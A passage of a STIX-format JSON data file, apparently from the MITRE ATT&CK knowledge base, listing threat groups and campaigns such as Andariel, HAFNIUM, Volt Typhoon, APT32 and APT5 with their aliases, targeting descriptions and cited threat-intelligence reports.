", "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", "url": "https://www.secureworks.com/research/threat-profiles/iron-viking"}, {"source_name": "UK NCSC Olympic Attacks October 2020", "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack", "ics-attack", "mobile-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:30:09.195Z", "name": "Operation Honeybee", "description": "[Operation Honeybee](https://attack.mitre.org/campaigns/C0006) was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. [Operation Honeybee](https://attack.mitre.org/campaigns/C0006) initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. 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This campaign was the second major public attack conducted against Ukraine by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: ESET Industroyer)(Citation: Dragos Crashoverride 2018)", "aliases": ["2016 Ukraine Electric Power Attack"], "first_seen": "2016-12-01T05:00:00.000Z", "last_seen": "2016-12-01T05:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: ESET Industroyer)(Citation: Dragos Crashoverride 2018)", "x_mitre_last_seen_citation": "(Citation: ESET Industroyer)(Citation: Dragos Crashoverride 2018)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "campaign", "id": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234", "created": "2023-03-31T17:22:23.567Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0025", "external_id": "C0025"}, {"source_name": "ESET Industroyer", "description": "Anton Cherepanov. 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The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018)", "aliases": ["Cobalt Group", "GOLD KINGSWOOD", "Cobalt Gang", "Cobalt Spider"], "x_mitre_deprecated": false, "x_mitre_version": "2.1", "type": "intrusion-set", "id": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0080", "external_id": "G0080"}, {"source_name": "Cobalt Spider", "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)"}, {"source_name": "GOLD KINGSWOOD", "description": "(Citation: Secureworks GOLD KINGSWOOD September 2018)"}, {"source_name": "Cobalt Gang", "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018)"}, {"source_name": "Cobalt Group", "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)"}, {"source_name": "Crowdstrike Global Threat Report Feb 2018", "description": "CrowdStrike. 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[Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", "aliases": ["Andariel", "Silent Chollima", "PLUTONIUM", "Onyx Sleet"], "x_mitre_deprecated": false, "x_mitre_version": "2.0", "x_mitre_contributors": ["Kyoung-ju Kwak (S2W)"], "type": "intrusion-set", "id": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "created": "2021-09-29T15:10:19.236Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0138", "external_id": "G0138"}, {"source_name": "Silent Chollima", "description": "(Citation: CrowdStrike Silent Chollima Adversary September 2021)"}, {"source_name": "Andariel", "description": "(Citation: FSI Andariel Campaign Rifle July 2017)"}, {"source_name": "PLUTONIUM", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Onyx Sleet", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "AhnLab Andariel Subgroup of Lazarus June 2018", "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.", "url": "http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}, {"source_name": "TrendMicro New Andariel Tactics July 2018", "description": "Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.", "url": "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html"}, {"source_name": "CrowdStrike Silent Chollima Adversary September 2021", "description": "CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.", "url": "https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/"}, {"source_name": "FSI Andariel Campaign Rifle July 2017", "description": "FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. 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Retrieved September 29, 2021.", "url": "https://home.treasury.gov/news/press-releases/sm774"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-08T20:45:37.568Z", "name": "HAFNIUM", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)", "aliases": ["HAFNIUM", "Operation Exchange Marauder", "Silk Typhoon"], "x_mitre_deprecated": false, "x_mitre_version": "2.0", "x_mitre_contributors": ["Daniyal Naeem, BT Security", "Matt Brenton, Zurich Insurance Group", "Mayuresh Dani, Qualys", "Harshal Tupsamudre, Qualys", "Vinayak Wadhwa, SAFE Security"], "type": "intrusion-set", "id": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "created": "2021-03-03T19:40:47.280Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0125", "external_id": "G0125"}, {"source_name": "Silk Typhoon", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Operation Exchange Marauder", "description": "(Citation: Volexity Exchange Marauder March 2021)"}, {"source_name": "Volexity Exchange Marauder March 2021", "description": "Gruzweig, J. et al. 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[APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)", "aliases": ["APT39", "ITG07", "Chafer", "Remix Kitten"], "x_mitre_deprecated": false, "x_mitre_version": "3.2", "type": "intrusion-set", "id": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "created": "2019-02-19T16:01:38.585Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0087", "external_id": "G0087"}, {"source_name": "Remix Kitten", "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"}, {"source_name": "ITG07", "description": "(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"}, {"source_name": "APT39", "description": "(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"}, {"source_name": "Chafer", "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"}, {"source_name": "Crowdstrike GTR2020 Mar 2020", "description": "Crowdstrike. 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(2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"}, {"source_name": "ClearSky MuddyWater June 2019", "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.", "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"}, {"source_name": "CYBERCOM Iranian Intel Cyber January 2022", "description": "Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.", "url": "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"}, {"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}, {"source_name": "Unit 42 MuddyWater Nov 2017", "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"}, {"source_name": "Talos MuddyWater Jan 2022", "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. 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[Volt Typhoon](https://attack.mitre.org/groups/G1017) typically focuses on espionage and information gathering and has targeted critical infrastructure organizations in the US including Guam. [Volt Typhoon](https://attack.mitre.org/groups/G1017) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)", "aliases": ["Volt Typhoon", "BRONZE SILHOUETTE"], "x_mitre_deprecated": false, "x_mitre_version": "1.1", "x_mitre_contributors": ["Phyo Paing Htun (ChiLai), I-Secure Co.,Ltd", "Ai Kimura, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India"], "type": "intrusion-set", "id": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "created": "2023-07-27T20:35:46.206Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1017", "external_id": "G1017"}, {"source_name": "BRONZE SILHOUETTE", "description": "(Citation: Secureworks BRONZE SILHOUETTE May 2023)"}, {"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}, {"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}, {"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. 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Security researchers assess [Ember Bear](https://attack.mitre.org/groups/G1003) likely conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) ", "aliases": ["Ember Bear", "Saint Bear", "UNC2589", "UAC-0056", "Lorec53", "Lorec Bear", "Bleeding Bear"], "x_mitre_deprecated": false, "x_mitre_version": "1.1", "x_mitre_contributors": ["Hannah Simes, BT Security"], "type": "intrusion-set", "id": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "created": "2022-06-09T14:49:57.704Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1003", "external_id": "G1003"}, {"source_name": "Saint Bear", "description": "(Citation: CrowdStrike Ember Bear Profile March 2022)"}, {"source_name": "UAC-0056", "description": "(Citation: CrowdStrike Ember Bear Profile March 2022)"}, {"source_name": "Lorec53", "description": "(Citation: CrowdStrike Ember Bear Profile March 2022)"}, {"source_name": "Lorec Bear", "description": "(Citation: CrowdStrike Ember Bear Profile March 2022)"}, {"source_name": "Bleeding Bear", "description": "(Citation: CrowdStrike Ember Bear Profile March 2022)"}, {"source_name": "UNC2589", "description": "(Citation: Mandiant UNC2589 March 2022)"}, {"source_name": "CrowdStrike Ember Bear Profile March 2022", "description": "CrowdStrike. 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The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)", "aliases": ["APT32", "SeaLotus", "OceanLotus", "APT-C-00", "Canvas Cyclone", "BISMUTH"], "x_mitre_deprecated": false, "x_mitre_version": "3.0", "x_mitre_contributors": ["Romain Dumont, ESET"], "type": "intrusion-set", "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0050", "external_id": "G0050"}, {"source_name": "SeaLotus", "description": "(Citation: Cybereason Oceanlotus May 2017)"}, {"source_name": "APT-C-00", "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"}, {"source_name": "APT32", "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"}, {"source_name": "OceanLotus", "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"}, {"source_name": "Canvas Cyclone", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "BISMUTH", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Amnesty Intl. Ocean Lotus February 2021", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf"}, {"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}, {"source_name": "Cybereason Oceanlotus May 2017", "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt"}, {"source_name": "ESET OceanLotus Mar 2019", "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"}, {"source_name": "ESET OceanLotus", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"}, {"source_name": "Volexity OceanLotus Nov 2017", "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["BRONZE BUTLER", "REDBALDKNIGHT", "Tick"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Trend Micro Incorporated"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "type": "intrusion-set", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0060", "external_id": "G0060"}, {"source_name": "BRONZE BUTLER", "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"}, {"source_name": "REDBALDKNIGHT", "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"}, {"source_name": "Tick", "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)"}, {"url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", "source_name": "Trend Micro Daserf Nov 2017"}, {"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}, {"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}, {"source_name": "Symantec Tick Apr 2016", "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}], "modified": "2021-10-12T19:42:16.869Z", "name": "BRONZE BUTLER", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)", "x_mitre_version": "1.3", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-08T21:56:22.594Z", "name": "POLONIUM", "description": "[POLONIUM](https://attack.mitre.org/groups/G1005) is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess [POLONIUM](https://attack.mitre.org/groups/G1005) has coordinated their operations with multiple actors affiliated with Iran\u2019s Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.(Citation: Microsoft POLONIUM June 2022)", "aliases": ["POLONIUM", "Plaid Rain"], "x_mitre_deprecated": false, "x_mitre_version": "2.0", "type": "intrusion-set", "id": "intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c", "created": "2022-07-01T19:07:04.253Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1005", "external_id": "G1005"}, {"source_name": "Plaid Rain", "description": "(Citation: Microsoft Threat Actor Naming July 2023)"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Microsoft POLONIUM June 2022", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.273Z", "name": "File Creation", "description": "Initial construction of a new file (ex: Sysmon EID 11)", "x_mitre_data_source_ref": "x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-14T18:53:21.577Z", "name": "APT5", "description": "[APT5](https://attack.mitre.org/groups/G1023) is a China-based espionage actor that has been active since at least 2007 primarily targeting the telecommunications, aerospace, and defense industries throughout the U.S., Europe, and Asia. [APT5](https://attack.mitre.org/groups/G1023) has displayed advanced tradecraft and significant interest in compromising networking devices and their underlying software including through the use of zero-day exploits.(Citation: NSA APT5 Citrix Threat Hunting December 2022)(Citation: Microsoft East Asia Threats September 2023)(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)(Citation: FireEye Southeast Asia Threat Landscape March 2015)(Citation: Mandiant Advanced Persistent Threats)  ", "aliases": ["APT5", "Mulberry Typhoon", "MANGANESE", "BRONZE FLEETWOOD", "Keyhole Panda", "UNC2630"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_contributors": ["@_montysecurity"], "type": "intrusion-set", "id": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "created": "2024-02-05T19:27:35.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1023", "external_id": "G1023"}, {"source_name": "Mulberry Typhoon", "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Microsoft East Asia Threats September 2023)"}, {"source_name": "MANGANESE", "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: NSA APT5 Citrix Threat Hunting December 2022)"}, {"source_name": "Keyhole Panda", "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Secureworks BRONZE FLEETWOOD Profile)"}, {"source_name": "UNC2630", "description": "(Citation: NSA APT5 Citrix Threat Hunting December 2022)"}, {"source_name": "BRONZE FLEETWOOD", "description": "(Citation: Secureworks BRONZE FLEETWOOD Profile)"}, {"source_name": "FireEye Southeast Asia Threat Landscape March 2015", "description": "FireEye. (2015, March). SOUTHEAST ASIA: AN EVOLVING CYBER THREAT LANDSCAPE. Retrieved February 5, 2024.", "url": "https://web.archive.org/web/20220122121143/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf"}, {"source_name": "Mandiant Advanced Persistent Threats", "description": "Mandiant. (n.d.). Advanced Persistent Threats (APTs). Retrieved February 14, 2024.", "url": "https://www.mandiant.com/resources/insights/apt-groups"}, {"source_name": "Microsoft Threat Actor Naming July 2023", "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}, {"source_name": "Microsoft East Asia Threats September 2023", "description": "Microsoft Threat Intelligence. (2023, September). Digital threats from East Asia increase in breadth and effectiveness. Retrieved February 5, 2024.", "url": "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW1aFyW"}, {"source_name": "NSA APT5 Citrix Threat Hunting December 2022", "description": "National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.", "url": "https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF"}, {"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}, {"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}, {"source_name": "Secureworks BRONZE FLEETWOOD Profile", "description": "Secureworks CTU. (n.d.). BRONZE FLEETWOOD. Retrieved February 5, 2024.", "url": "https://www.secureworks.com/research/threat-profiles/bronze-fleetwood"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["BackdoorDiplomacy"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Zaw Min Htun, @Z3TAE"], "object_marking_refs": 